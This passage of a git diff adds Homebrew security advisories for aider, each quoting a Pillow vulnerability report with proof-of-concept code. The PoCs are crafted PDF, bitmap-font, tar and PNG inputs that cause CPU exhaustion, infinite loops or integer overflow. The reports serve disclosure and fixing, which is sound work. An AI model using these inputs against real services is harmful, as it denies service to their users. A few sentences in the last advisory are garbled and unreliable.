use a reverse shell, persistence, data exfiltration, or arbitrary attacker-selected commands.\n\nI can provide the following private artifacts to maintainers:\n\n- minimal crash fixtures for PSD, MPO, DCX, and MIC,\n- non-weaponized MPO marker PoC,\n- local vulnerable web upload demo,\n- gdb/GEF geometry receipts,\n- control-run logs,\n- proposed regression-test shape.\n\n## Minimal Reproduction Shape\n\nFor the MPO path, the vulnerable consumer shape is:\n\n```python\nfrom io import BytesIO\nfrom PIL import Image, ImageSequence\n\nsource = BytesIO(open(path, \"rb\").read())\nimage = Image.open(source)\niterator = ImageSequence.Iterator(image)\nnext(iterator).load()\nnext(iterator).load()\n```\n\nThe crafted image shape is:\n\n```text\nframe 0: mode L, dimensions W x H\nframe 1: same W x H, wider mode such as CMYK\n```\n\nFrame 0 allocates native `L` storage. Frame 1 changes the logical mode and decoder state but can reuse the old native storage. The frame 1 decoder writes using the wider mode into the narrow storage.\n\n## Suggested Fix Direction\n\nBefore reusing native `ImagingCore` storage, Pillow should verify that the retained storage is compatible with the current logical image mode and size.\n\nA central guard in `ImageFile.load_prepare()` could compare native storage mode/size against `self.mode` / `self.size` and allocate fresh storage when they differ. Alternatively, every mode-changing `seek()` / `_open()` path should explicitly invalidate `_im` before decoding.\n\nCaution: TIFF has specialized tile-size behavior and already has a mode/size guard, so a central fix should avoid regressing TIFF tile-buffer handling.\n\n\n## Credit\n\n```text\nRotem Kama\n```\n\n## Methodology Note\n\nAI-assisted analysis was used for discovery and verification support. Claims in this report are limited to the local artifacts, controls, and command outputs described above.", + "severity": [ + { + "type": "CVSS_V3", + "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H" + } + ], + "references": [ + { + "type": "WEB", + "url": "https://github.com/python-pillow/Pillow/security/advisories/GHSA-v9pv-5gc8-w2m6" + }, + { + "type": "ADVISORY", + "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-96639" + }, + { + "type": "WEB", + "url": "https://github.com/python-pillow/Pillow/pull/10105" + }, + { + "type": "WEB", + "url": "https://github.com/python-pillow/Pillow/commit/78d97d994579aef81aafe123773d525f40f2522a" + }, + { + "type": "PACKAGE", + "url": "https://github.com/python-pillow/Pillow" + }, + { + "type": "WEB", + "url": "https://github.com/python-pillow/Pillow/releases/tag/13.0.0" + } + ] +} diff --git a/advisories/BREW-aider-CVE-2026-96640.json b/advisories/BREW-aider-CVE-2026-96640.json new file mode 100644 index 00000000000..ddcaf3105e0 --- /dev/null +++ b/advisories/BREW-aider-CVE-2026-96640.json @@ -0,0 +1,85 @@ +{ + "schema_version": "1.7.3", + "id": "BREW-aider-CVE-2026-96640", + "published": "2026-10-27T19:19:30Z", + "modified": "2026-10-27T19:19:30Z", + "upstream": [ + "GHSA-mrfp-p49p-3hf2", + "CVE-2026-96640" + ], + "affected": [ + { + "package": { + "ecosystem": "Homebrew", + "name": "aider", + "purl": "pkg:brew/aider" + }, + "ranges": [ + { + "type": "ECOSYSTEM", + "events": [ + { + "introduced": "0.86.1_1" + } + ] + } + ], + "ecosystem_specific": { + "fix": null, + "range_state": "affected", + "upstream_fixed_in": "13.0.0", + "resource": "pillow", + "resource_purl": "pkg:pypi/pillow@12.1.1" + } + } + ], + "database_specific": { + "source": "matched", + "strategy": "registry", + "confidence": "high", + "upstream_evidence": [ + { + "strategy": "registry", + "ecosystem": "PyPI", + "name": "pillow", + "subject_version": "12.1.1", + "key": "pkg:pypi/pillow@12.1.1", + "resource": "pillow" + } + ] + }, + "summary": "Pillow PDF append accepts malformed shared page-tree DAG causing resource exhaustion", + "details": "### Summary\nPillow's documented PDF append path can spend disproportionate CPU time on a compact malformed PDF page tree.\n\nAn attacker who can supply an existing PDF to an application that appends an image with `Image.save(..., format=\"PDF\", append=True)` can provide a malformed `/Pages` tree where each level repeats the same child `/Pages` reference in `/Kids`. Pillow treats the graph as a tree and expands each repeated reference in `PdfParser.linearize_page_tree()` without tracking visited or duplicate indirect references.\n\nIn the bounded proof below, a `1410`-byte PDF expands to `8192` page references from one distinct page object and takes about `9.6` seconds through the append path. A comparable linear control with the same depth stays at one page reference and completes in about `0.02` seconds.\n\nThis is in scope for Pillow's security policy because it is reproducible in `main`, affects the latest public release tested (`12.3.0`), and is not just an unexpected Python exception. The vulnerable operation accepts attacker-controlled PDF bytes through Pillow's PDF parser and causes deterministic resource consumption before normal completion.\n\n### Details\n\n#### Affected versions\n\n- Package: `Pillow`\n- Ecosystem: `pip` / PyPI\n- Affected component: `src/PIL/PdfParser.py` page-tree traversal reached from `src/PIL/PdfImagePlugin.py` PDF append handling\n- Runtime-tested affected release: `12.3.0`\n- Runtime-tested affected development version: `13.0.0.dev0`\n- Tested commit: `b39b9649312fbc381060e8c7c7f9f0de4cc63daa`\n- Current source artifact hash: `sha256(git archive --format=tar HEAD) = 2ccefca23d432456765be8d3c34564c65ba016b0c9da1e44ca389762f7eda054`\n- Release `12.3.0` commit: `bb1d8e8ab8d29048624d96e3ee53cecf7c13d13d`\n- Release `12.3.0` source artifact hash: `sha256(git archive --format=tar 12.3.0) = 94bed33fd20123938dbc0153d295250bb4e3c09251b6d4a34f7595e25d409c81`\n- Source-level affected: `5.1.0`, `12.2.0`, `12.3.0`, and `HEAD`\n- Likely affected range: `>= 5.1.0`\n- Patched versions: none known\n\nEvidence fact strings:\n\n- Runtime-tested affected: 12.3.0\n- Runtime-tested affected: 13.0.0.dev0 at b39b9649312fbc381060e8c7c7f9f0de4cc63daa\n- Source-level affected: 5.1.0\n- Source-level affected: 12.2.0\n- Source-level affected: HEAD\n- Likely affected range: >= 5.1.0, no fixed version known\n- Pre-boundary note: 5.0.0 has PdfImagePlugin.py but no src/PIL/PdfParser.py\n\n`5.0.0` contains `src/PIL/PdfImagePlugin.py` but does not contain `src/PIL/PdfParser.py`. `PdfParser.py` was introduced by `6207b44ab1ff4a91d8ddc7579619876d0bb191a4` (`2018-01-18 issue #2959: support appending to existing PDFs`), which shipped in `5.1.0`.\n\n#### Technical details\n\nThe reachable path is:\n\n1. A service or application receives an attacker-influenced existing PDF and appends an image using Pillow's public PDF save path:\n\n ```python\n Image.new(\"L\", (1, 1), 0).save(existing_pdf_file, format=\"PDF\", append=True)\n ```\n\n2. `src/PIL/PdfImagePlugin.py` routes `append=True` to `PdfParser`:\n\n ```python\n is_appending = im.encoderinfo.get(\"append\", False)\n filename_str = filename.decode() if isinstance(filename, bytes) else filename\n if is_appending:\n existing_pdf = PdfParser.PdfParser(f=fp, filename=filename_str, mode=\"r+b\")\n else:\n existing_pdf = PdfParser.PdfParser(f=fp, filename=filename_str, mode=\"w+b\")\n ```\n\n3. `src/PIL/PdfParser.py` parses the existing PDF and linearizes the page tree:\n\n ```python\n self.page_tree_root = self.read_indirect(self.pages_ref)\n self.pages = self.linearize_page_tree(self.page_tree_root)\n self.orig_pages = self.pages[:]\n ```\n\n4. `linearize_page_tree()` recursively follows every `/Kids` entry and extends the page list. It does not track page-tree node identity, duplicate references, or active traversal references:\n\n ```python\n def linearize_page_tree(\n self, node: PdfDict | None = None\n ) -> list[IndirectReference]:\n page_node = node if node is not None else self.page_tree_root\n check_format_condition(\n page_node[b\"Type\"] == b\"Pages\", \"/Type of page tree node is not /Pages\"\n )\n pages = []\n for kid in page_node[b\"Kids\"]:\n kid_object = self.read_indirect(kid)\n if kid_object[b\"Type\"] == b\"Page\":\n pages.append(kid)\n else:\n pages.extend(self.linearize_page_tree(node=kid_object))\n return pages\n ```\n\n5. During append, `rewrite_pages()` then iterates the expanded `orig_pages` list and scans/replaces entries in `self.pages`, adding more cost to the already expanded duplicate-reference list.\n\nThe missing invariant is:\n\n```text\nThe PDF page tree should be treated as an acyclic tree of unique indirect references before Pillow builds pages/orig_pages or rewrites pages.\n```\n\nThe proof intentionally uses a malformed PDF page-tree DAG: each `/Pages` node repeats the same next `/Pages` child reference twice. Pillow accepts this graph and expands it as if the repeated reference represented distinct subtrees.\n\n### PoC\n\nEnvironment used for validation:\n\n- OS/runtime: Linux, Python `3.13.11`\n- Current tested build: Pillow `13.0.0.dev0`, commit `b39b9649312fbc381060e8c7c7f9f0de4cc63daa`\n- Latest release tested: Pillow `12.3.0`\n- The proof uses only synthetic in-memory PDFs and does not contact the network.\n\nSave this as `poc_pillow_pdf_page_tree_dag.py`:\n\n```python\n#!/usr/bin/env python3\nfrom __future__ import annotations\n\nimport io\nimport json\nimport sys\nimport time\n\nfrom PIL import Image, PdfParser\nimport PIL\n\n\ndef make_page_tree_pdf(depth: int, fanout: int) -> bytes:\n if fanout not in (1, 2):\n raise ValueError(\"fanout must be 1 or 2\")\n\n objects: list[bytes] = [b\"<< /Type /Catalog /Pages 2 0 R >>\"]\n for object_id in range(2, depth + 3):\n next_id = object_id + 1\n kids = b\" \".join(f\"{next_id} 0 R\".encode(\"ascii\") for _ in range(fanout))\n parent = b\"\" if object_id == 2 else f\" /Parent {object_id - 1} 0 R\".encode()\n objects.append(b\"<< /Type /Pages /Kids [ \" + kids + b\" ]\" + parent + b\" >>\")\n objects.append(f\"<< /Type /Page /Parent {depth + 2} 0 R >>\".encode(\"ascii\"))\n\n result = bytearray(b\"%PDF-1.4\\n\")\n offsets = [0]\n for object_id, value in enumerate(objects, start=1):\n offsets.append(len(result))\n result.extend(f\"{object_id} 0 obj\\n\".encode(\"ascii\"))\n result.extend(value)\n result.extend(b\"\\nendobj\\n\")\n\n xref_offset = len(result)\n result.extend(f\"xref\\n0 {len(objects) + 1}\\n\".encode(\"ascii\"))\n result.extend(b\"0000000000 65535 f \\n\")\n for offset in offsets[1:]:\n result.extend(f\"{offset:010d} 00000 n \\n\".encode(\"ascii\"))\n result.extend(\n f\"trailer\\n<< /Size {len(objects) + 1} /Root 1 0 R >>\\n\"\n f\"startxref\\n{xref_offset}\\n%%EOF\\n\".encode(\"ascii\")\n )\n return bytes(result)\n\n\ndef run_case(depth: int, fanout: int) -> dict[str, object]:\n payload = make_page_tree_pdf(depth, fanout)\n expected_refs = fanout ** (depth + 1)\n\n start = time.monotonic()\n with PdfParser.PdfParser(buf=payload) as pdf:\n observed_refs = len(pdf.pages)\n distinct_refs = len(set(pdf.pages))\n parse_seconds = time.monotonic() - start\n\n output = io.BytesIO(payload)\n start = time.monotonic()\n Image.new(\"L\", (1, 1), 0).save(output, format=\"PDF\", append=True)\n append_seconds = time.monotonic() - start\n\n return {\n \"fanout\": fanout,\n \"depth\": depth,\n \"input_bytes\": len(payload),\n \"expected_refs\": expected_refs,\n \"observed_refs\": observed_refs,\n \"distinct_refs\": distinct_refs,\n \"parse_seconds\": round(parse_seconds, 6),\n \"append_seconds\": round(append_seconds, 6),\n \"output_bytes_after_append\": len(output.getvalue()),\n }\n\n\ndef main() -> int:\n depth = int(sys.argv[1]) if len(sys.argv) > 1 else 12\n if not 0 <= depth <= 16:\n raise SystemExit(\"depth must be between 0 and 16\")\n\n linear = run_case(depth, fanout=1)\n shared_dag = run_case(depth, fanout=2)\n\n checks = {\n \"linear_control_stays_one_page\": linear[\"observed_refs\"] == 1,\n \"candidate_expands_to_expected_duplicate_refs\": shared_dag[\"observed_refs\"]\n == shared_dag[\"expected_refs\"],\n \"candidate_has_one_distinct_page_ref\": shared_dag[\"distinct_refs\"] == 1,\n \"candidate_input_is_compact\": shared_dag[\"input_bytes\"] <= 2048,\n \"append_path_processed_both_inputs\": linear[\"output_bytes_after_append\"]\n > linear[\"input_bytes\"]\n and shared_dag[\"output_bytes_after_append\"] > shared_dag[\"input_bytes\"],\n }\n result = {\n \"pillow_version\": PIL.__version__,\n \"pillow_file\": PIL.__file__,\n \"depth\": depth,\n \"linear_control\": linear,\n \"shared_dag_candidate\": shared_dag,\n \"checks\": checks,\n \"overall_passed\": all(checks.values()),\n }\n print(json.dumps(result, indent=2, sort_keys=True))\n return 0 if result[\"overall_passed\"] else 1\n\n\nif __name__ == \"__main__\":\n raise SystemExit(main())\n```\n\nRun:\n\n```bash\npython3 poc_pillow_pdf_page_tree_dag.py\n```\n\nExpected result:\n\n```text\n\"overall_passed\": true\n\"linear_control\": observed_refs == 1\n\"shared_dag_candidate\": input_bytes == 1410\n\"shared_dag_candidate\": observed_refs == 8192\n\"shared_dag_candidate\": distinct_refs == 1\n```\n\nObserved on current `main` / `13.0.0.dev0`:\n\n```text\n1410-byte input -> 8192 observed page refs -> 9.563007s append\n```\n\nObserved on Pillow `12.3.0`:\n\n```text\nPillow 12.3.0: 1410-byte input -> 8192 observed page refs -> 9.670602s append\n```\n\nFor comparison, the linear control in the same harness uses a comparable-depth page tree with `fanout=1`; it produces one page reference and completed append in about `0.016` to `0.028` seconds in my validation runs.\n\n### Impact\n\nThis is an availability issue in Pillow's PDF append handling. Applications are impacted if untrusted users can supply an existing PDF that the application later appends to, watermarks, or exports using Pillow's `Image.save(..., format=\"PDF\", append=True)` route.\n\nThe demonstrated primitive is deterministic CPU/resource amplification from compact attacker-controlled PDF bytes. The proof does not demonstrate confidentiality impact, integrity impact, memory corruption, filesystem access, network access, or impact through ordinary `Image.open()`.\n\nRequires attacker-influenced existing PDF processed by Pillow's documented PDF append path; not ordinary Image.open().\n\nThis should not be treated as just an unexpected Python exception. In the tested affected builds, the malformed PDF is accepted and processed to normal completion after the expensive expansion.\n\n### Remediation\n\nReject duplicate and cyclic page-tree references before constructing `self.pages` and `self.orig_pages`.\n\nOne possible fix is to pass traversal state through `linearize_page_tree()`:\n\n- Track active `/Pages` references to reject cycles.\n- Track seen page-tree and page indirect references to reject duplicate references.\n- Raise `PdfFormatError` when the page tree is not an acyclic tree of unique indirect references.\n\nSuggested regression tests:\n\n- A small PDF whose `/Kids` array repeats the same child `/Pages` reference should raise `PdfFormatError` quickly when used through `Image.save(..., format=\"PDF\", append=True)`.\n- A normal nested linear page tree should continue to append successfully.", + "severity": [ + { + "type": "CVSS_V4", + "score": "CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N" + } + ], + "references": [ + { + "type": "WEB", + "url": "https://github.com/python-pillow/Pillow/security/advisories/GHSA-mrfp-p49p-3hf2" + }, + { + "type": "ADVISORY", + "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-96640" + }, + { + "type": "WEB", + "url": "https://github.com/python-pillow/Pillow/pull/10093" + }, + { + "type": "WEB", + "url": "https://github.com/python-pillow/Pillow/commit/6f0e7ee1f9c2fe227906f8a4b926e6622b702bc7" + }, + { + "type": "PACKAGE", + "url": "https://github.com/python-pillow/Pillow" + }, + { + "type": "WEB", + "url": "https://github.com/python-pillow/Pillow/releases/tag/13.0.0" + } + ] +} diff --git a/advisories/BREW-aider-CVE-2026-96641.json b/advisories/BREW-aider-CVE-2026-96641.json new file mode 100644 index 00000000000..643b0774a9e --- /dev/null +++ b/advisories/BREW-aider-CVE-2026-96641.json @@ -0,0 +1,85 @@ +{ + "schema_version": "1.7.3", + "id": "BREW-aider-CVE-2026-96641", + "published": "2026-10-27T19:19:30Z", + "modified": "2026-10-27T19:19:30Z", + "upstream": [ + "GHSA-4rm8-3hmm-39fg", + "CVE-2026-96641" + ], + "affected": [ + { + "package": { + "ecosystem": "Homebrew", + "name": "aider", + "purl": "pkg:brew/aider" + }, + "ranges": [ + { + "type": "ECOSYSTEM", + "events": [ + { + "introduced": "0.86.1_1" + } + ] + } + ], + "ecosystem_specific": { + "fix": null, + "range_state": "affected", + "upstream_fixed_in": "13.0.0", + "resource": "pillow", + "resource_purl": "pkg:pypi/pillow@12.1.1" + } + } + ], + "database_specific": { + "source": "matched", + "strategy": "registry", + "confidence": "high", + "upstream_evidence": [ + { + "strategy": "registry", + "ecosystem": "PyPI", + "name": "pillow", + "subject_version": "12.1.1", + "key": "pkg:pypi/pillow@12.1.1", + "resource": "pillow" + } + ] + }, + "summary": "Pillow: Reachable undefined behavior in native integer operations, potentially leading to denial of service or logic integrity compromise", + "details": "### Summary\nAffected Object and Source\n\nPackage: Pillow 12.3.0\nSource: PyPI sdist pillow-12.3.0.tar.gz\nSHA-256: 3b8182a766685eaa002637e28b4ec8d6b18819a0c71f579bf0dbaa5830297cce\nSink: src/_imaging.c:2809:15, xsize += dx\n\n### Details\nThe code in Pillow 12.3.0 is:\n```c\nfor (xsize = 0; *text; text++) {\n int dx = self->glyphs[*text].dx;\n if (dx > 0 && xsize > INT_MAX - dx) {\n PyErr_SetString(PyExc_OverflowError, \"Width too large\");\n return -1;\n }\n xsize += dx;\n}\n```\nThe PILfont glyph advance is parsed from a signed 16-bit field, so the valid range for `dx` is `[-32768, 32767]`. The existing check only proves:\n`dx > 0 => xsize <= INT_MAX - dx`\nIt does **not** prove the other half of the contract:\n`dx < 0 => xsize >= INT_MIN - dx`\nTaking `dx = -32768` and repeating it 65,537 times, the mathematical sum is `-2,147,516,416`, which is less than `INT_MIN = -2,147,483,648`. On the 65,537th addition, the operation `-2147483648 + -32768` is performed, resulting in **C signed overflow undefined behavior**.\n\n### PoC\n```python\n\"\"\"Minimal public-API reproducer for the Pillow 12.3.0 textwidth underflow.\n\nRun with an ordinary Pillow 12.3.0 build to observe the wrapped width, or with\nthe PyC-Contract UBSan build to obtain the exact native diagnostic.\n\"\"\"\n\nfrom __future__ import annotations\n\nimport struct\nfrom io import BytesIO\n\nimport PIL\nfrom PIL import Image, ImageFont\n\n\nADVANCE = -(2**15)\nCONTROL_REPEAT = 65_536\nWITNESS_REPEAT = 65_537\n\n\ndef bitmap_font(advance: int) -> ImageFont.ImageFont:\n metrics = bytearray(256 * 20)\n glyph_offset = ord(\"A\") * 20\n metrics[glyph_offset : glyph_offset + 2] = struct.pack(\">h\", advance)\n font_data = b\"PILfont\\n;;;;;;1;\\nDATA\\n\" + bytes(metrics)\n font = ImageFont.ImageFont()\n font._load_pilfont_data(BytesIO(font_data), Image.new(\"1\", (1, 1)))\n return font\n\n\ndef main() -> None:\n font = bitmap_font(ADVANCE)\n print(f\"Pillow={PIL.__version__}\")\n print(f\"control_math={ADVANCE * CONTROL_REPEAT}\")\n print(f\"control_return={font.getlength('A' * CONTROL_REPEAT)}\")\n print(f\"witness_math={ADVANCE * WITNESS_REPEAT}\")\n print(f\"witness_return={font.getlength('A' * WITNESS_REPEAT)}\")\n\n\nif __name__ == \"__main__\":\n main()\n```\n\nObservations from a regular 12.3.0 release build:\n\n```text\nPillow=12.3.0\ncontrol_math=-2147483648\ncontrol_return=0\nwitness_math=-2147516416\nwitness_return=2147450880\n```\n\nThe adjacent control uses 65,536 repetitions, producing a mathematical result of exactly `INT_MIN`, and the function subsequently returns 0 according to existing semantics. Adding just a single character flips the return value to `2,147,450,880`.\n\n\n### Impact\nThe directly confirmed impact is width semantic integrity violation: getlength() and boundary calculations based on getsize() may return a huge positive value, while the true mathematical width is negative. The high-level getmask() typically passes through the decompression-bomb check, which mitigates the risk of direct massive allocation; however, internal font objects and applications that use the width for layout, quotas, serialization, or subsequent allocations may be affected by resource consumption or logic errors.\n\nTherefore, the current recommended severity rating is \"Reachable native integer undefined behavior, with potential DoS/logic integrity impact; specific security severity to be confirmed by the upstream threat model\", rather than a memory corruption vulnerability.\n\n### Recommended Patch and Regression Tests\n\nIt is recommended to extend the overflow check to cover both directions:\n```c\nif ((dx > 0 && xsize > INT_MAX - dx) ||\n (dx < 0 && xsize < INT_MIN - dx)) {\n PyErr_SetString(PyExc_OverflowError, \"Width too large\");\n return -1;\n}\n```\nAt a minimum, four test cases should be added:\n1. `dx = 32767, repeat = 65538` — upper adjacent control (should succeed);\n2. `dx = 32767, repeat = 65539` — should raise `OverflowError`;\n3. `dx = -32768, repeat = 65536` — lower adjacent control (should succeed);\n4. `dx = -32768, repeat = 65537` — should raise `OverflowError`.\n\nAdditionally, it should be verified that exception propagation is consistent across `getlength()`, `getbbox()`, `getmask()`, and the underlying `font.getsize()`.", + "severity": [ + { + "type": "CVSS_V3", + "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H" + } + ], + "references": [ + { + "type": "WEB", + "url": "https://github.com/python-pillow/Pillow/security/advisories/GHSA-4rm8-3hmm-39fg" + }, + { + "type": "ADVISORY", + "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-96641" + }, + { + "type": "WEB", + "url": "https://github.com/python-pillow/Pillow/pull/10010" + }, + { + "type": "WEB", + "url": "https://github.com/python-pillow/Pillow/commit/80de4be9e38d3a6148dd4d8491eb80cd12b760a4" + }, + { + "type": "PACKAGE", + "url": "https://github.com/python-pillow/Pillow" + }, + { + "type": "WEB", + "url": "https://github.com/python-pillow/Pillow/releases/tag/13.0.0" + } + ] +} diff --git a/advisories/BREW-aider-CVE-2026-96642.json b/advisories/BREW-aider-CVE-2026-96642.json new file mode 100644 index 00000000000..2536397a891 --- /dev/null +++ b/advisories/BREW-aider-CVE-2026-96642.json @@ -0,0 +1,85 @@ +{ + "schema_version": "1.7.3", + "id": "BREW-aider-CVE-2026-96642", + "published": "2026-10-27T19:19:30Z", + "modified": "2026-10-27T19:19:30Z", + "upstream": [ + "GHSA-3j72-p6qg-6xp7", + "CVE-2026-96642" + ], + "affected": [ + { + "package": { + "ecosystem": "Homebrew", + "name": "aider", + "purl": "pkg:brew/aider" + }, + "ranges": [ + { + "type": "ECOSYSTEM", + "events": [ + { + "introduced": "0.86.1_1" + } + ] + } + ], + "ecosystem_specific": { + "fix": null, + "range_state": "affected", + "upstream_fixed_in": "13.0.0", + "resource": "pillow", + "resource_purl": "pkg:pypi/pillow@12.1.1" + } + } + ], + "database_specific": { + "source": "matched", + "strategy": "registry", + "confidence": "high", + "upstream_evidence": [ + { + "strategy": "registry", + "ecosystem": "PyPI", + "name": "pillow", + "subject_version": "12.1.1", + "key": "pkg:pypi/pillow@12.1.1", + "resource": "pillow" + } + ] + }, + "summary": "Pillow: TarIO negative size field causes infinite CPU-spin loop", + "details": "### Summary\n`TarIO.__init__` does not check that a tar header's size field is positive. A crafted header with a negative size makes it seek backward onto itself. This causes an infinite loop that uses 100% CPU and never returns.\n\n### Details\n`TarIO.__init__` reads 512-byte tar headers one at a time, looking for a member with a given name. For each header it reads the size field and skips ahead to the next header:\n\n```python\nsize = int(s[124:135], 8)\n...\nself.fh.seek((size + 511) & (~511), io.SEEK_CUR)\n```\nThere is no check that size is zero or more. A tar header can set this field to a negative octal value. For size = -512, the seek offset comes out to exactly -512, which cancels the 512 bytes the loop had just read. The file position goes right back to where this loop step started.\n\nThe loop only stops on end of file or when a header name starts with a null byte. Neither happens, since the same header keeps showing up again. The loop never ends on its own.\n\n### Steps to reproduce\n\nThis uses Tests/images/hopper.tar, a normal file already in the Pillow test suite. It only changes the size field of the first header.\n\n```python\nfrom PIL import TarIO\n\nwith open(\"Tests/images/hopper.tar\", \"rb\") as f:\n data = bytearray(f.read())\n\n# Set the size field (bytes 124 to 135) to a negative octal value.\n# Octal 1000 is 512, so this is size = -512.\ndata[124:135] = b\" -00001000\"\n\nwith open(\"poisoned.tar\", \"wb\") as f:\n f.write(data)\n\n# \"does-not-exist\" does not match the header name, so TarIO must\n# keep scanning. This call never returns.\nTarIO.TarIO(\"poisoned.tar\", \"does-not-exist\")\n```\n\nWe confirmed this with ps. The process sits at 98 to 100% CPU and never exits on its own. It only stops if killed from outside.\n\nA pytest version of this, using pytest-timeout so the test does not hang forever, is below. On the current code it fails with Failed: Timeout (>3.0s) from pytest-timeout.\n\n```python\nfrom __future__ import annotations\n\nfrom pathlib import Path\n\nimport pytest\n\nfrom PIL import TarIO\n\nSOURCE_TAR = \"Tests/images/hopper.tar\"\n\n\n@pytest.mark.timeout(3)\ndef test_negative_size_field_does_not_hang(tmp_path: Path) -> None:\n with open(SOURCE_TAR, \"rb\") as f:\n data = bytearray(f.read())\n\n data[124:135] = b\" -00001000\" # octal 1000 = decimal 512, negated\n\n poisoned_tar = tmp_path / \"poisoned.tar\"\n poisoned_tar.write_bytes(data)\n\n with pytest.raises((OSError, ValueError)):\n with TarIO.TarIO(str(poisoned_tar), \"does-not-exist\"):\n pass\n```\n### Impact\n\n- Availability: an attacker who can get a crafted tar file passed to TarIO.TarIO() can hang the process at full CPU with a file just over 512 bytes.\n- Confidentiality: none.\n- Integrity: none.\n- TarIO is a small helper class. It is not used by Image.open() and is not on the default path most Pillow users hit. An app has to call PIL.TarIO.TarIO(path, member_name) directly for this to matter, which some apps do to read an image out of a tar archive.", + "severity": [ + { + "type": "CVSS_V4", + "score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:P/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N" + } + ], + "references": [ + { + "type": "WEB", + "url": "https://github.com/python-pillow/Pillow/security/advisories/GHSA-3j72-p6qg-6xp7" + }, + { + "type": "ADVISORY", + "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-96642" + }, + { + "type": "WEB", + "url": "https://github.com/python-pillow/Pillow/pull/10012" + }, + { + "type": "WEB", + "url": "https://github.com/python-pillow/Pillow/commit/19b695fdcc5eddc37374e2b1645fc4185edaf71d" + }, + { + "type": "PACKAGE", + "url": "https://github.com/python-pillow/Pillow" + }, + { + "type": "WEB", + "url": "https://github.com/python-pillow/Pillow/releases/tag/13.0.0" + } + ] +} diff --git a/advisories/BREW-aider-CVE-2026-96643.json b/advisories/BREW-aider-CVE-2026-96643.json new file mode 100644 index 00000000000..f123e172242 --- /dev/null +++ b/advisories/BREW-aider-CVE-2026-96643.json @@ -0,0 +1,85 @@ +{ + "schema_version": "1.7.3", + "id": "BREW-aider-CVE-2026-96643", + "published": "2026-10-27T19:19:30Z", + "modified": "2026-10-27T19:19:30Z", + "upstream": [ + "GHSA-g4qv-2jxx-769h", + "CVE-2026-96643" + ], + "affected": [ + { + "package": { + "ecosystem": "Homebrew", + "name": "aider", + "purl": "pkg:brew/aider" + }, + "ranges": [ + { + "type": "ECOSYSTEM", + "events": [ + { + "introduced": "0.86.1_1" + } + ] + } + ], + "ecosystem_specific": { + "fix": null, + "range_state": "affected", + "upstream_fixed_in": "13.0.0", + "resource": "pillow", + "resource_purl": "pkg:pypi/pillow@12.1.1" + } + } + ], + "database_specific": { + "source": "matched", + "strategy": "registry", + "confidence": "high", + "upstream_evidence": [ + { + "strategy": "registry", + "ecosystem": "PyPI", + "name": "pillow", + "subject_version": "12.1.1", + "key": "pkg:pypi/pillow@12.1.1", + "resource": "pillow" + } + ] + }, + "summary": "Pillow: PNG eXIf chunk makes EXIF parsing run in quadratic time", + "details": "### Summary\n A PNG file with a large eXIf chunk full of repeated 6-byte markers makes Pillow's EXIF parser take seconds of CPU instead of milliseconds. The cost grows with the square of the chunk size, so a normal small-photo-sized file is enough to cause real delay.\n\n ### Details\n `Exif.load()` in `src/PIL/Image.py` strips a marker from the start of the EXIF data like this:\n\n ```python\n while data and data.startswith(b\"Exif\\x00\\x00\"):\n data = data[6:]\n ```\n\n Each pass makes a new copy of the remaining data. A real camera writes this marker once, so this is not normally a problem.\n\n `chunk_eXIf()` in `src/PIL/PngImagePlugin.py` puts the raw PNG eXIf chunk straight into `info[\"exif\"]` with no size limit and no check of its content. PNG text chunks (tEXt, zTXt, iTXt) are capped with `MAX_TEXT_CHUNK` and `MAX_TEXT_MEMORY`. The eXIf chunk has no such cap.\n\n If the eXIf chunk is filled with repeated `Exif\\x00\\x00` markers instead of real EXIF data, the strip loop runs once per marker, copying a large buffer each time. This is a classic quadratic time bug.\n\n ### Steps to reproduce\n This builds a small PNG in memory and times `Image.open().getexif()` on it. No external file needed.\n\n ```python\n import time\n from io import BytesIO\n from PIL import Image, PngImagePlugin\n\n def chunk(cid, *data):\n fp = BytesIO()\n PngImagePlugin.putchunk(fp, cid, *data)\n return fp.getvalue()\n\n MAGIC = PngImagePlugin._MAGIC\n IHDR = chunk(b\"IHDR\", PngImagePlugin.o32(1), PngImagePlugin.o32(1), b\"\\x08\\x02\", b\"\\0\\0\\0\")\n IDAT = chunk(b\"IDAT\")\n IEND = chunk(b\"IEND\")\n\n marker = b\"Exif\\x00\\x00\"\n exif_chunk = chunk(b\"eXIf\", marker * 300_000) # 1.8MB, all markers\n data = MAGIC + IHDR + exif_chunk + IDAT + IEND\n\n start = time.time()\n with Image.open(BytesIO(data)) as im:\n im.getexif()\n print(\"took\", time.time() - start, \"seconds\")\n ```\n\n Expected output on a fixed version: well under 0.1 seconds, the same as a normal file this size.\n\n Actual output on the current code: around 3.5 to 3.7 seconds, for a single 1.8MB file. We checked with a prohis time is spent inside the strip loop itself, not somewhere else. We also checked the growth rate across a\n few sizes (200KB, 600KB, 1.2MB, 1.8MB) and it matches quadratic growth closely, not linear.\n\n A pytest version of this test, using `pytest-timeout` so a test run does not hang if the bug is present, is it fails with `Failed: Timeout (>2.0s) from pytest-timeout`.\n\n ```python\n import pytest\n from io import BytesIO\n from PIL import Image, PngImagePlugin\n\n def chunk(cid, *data):\n fp = BytesIO()\n PngImagePlugin.putchunk(fp, cid, *data)\n return fp.getvalue()\n\n MAGIC = PngImagePlugin._MAGIC\n IHDR = chunk(b\"IHDR\", PngImagePlugin.o32(1), PngImagePlugin.o32(1), b\"\\x08\\x02\", b\"\\0\\0\\0\")\n IDAT = chunk(b\"IDAT\")\n IEND = chunk(b\"IEND\")\n\n @pytest.mark.timeout(2)\n def test_exif_load_is_not_quadratic():\n marker = b\"Exif\\x00\\x00\"\n exif_chunk = chunk(b\"eXIf\", marker * 300_000)\n data = MAGIC + IHDR + exif_chunk + IDAT + IEND\n with Image.open(BytesIO(data)) as im:\n im.getexif()\n ```\n\n ### Impact\n - Availability: an attacker who can get one PNG file processed can burn several seconds of CPU per request w A bigger file scales worse, since the cost is quadratic, not linear.\n - Confidentiality: none.\n - Integrity: none.\n - This fires through `Image.getexif()`, `Image._getexif()`, and `ImageOps.exif_transpose()`. `exif_transpose()` is the function 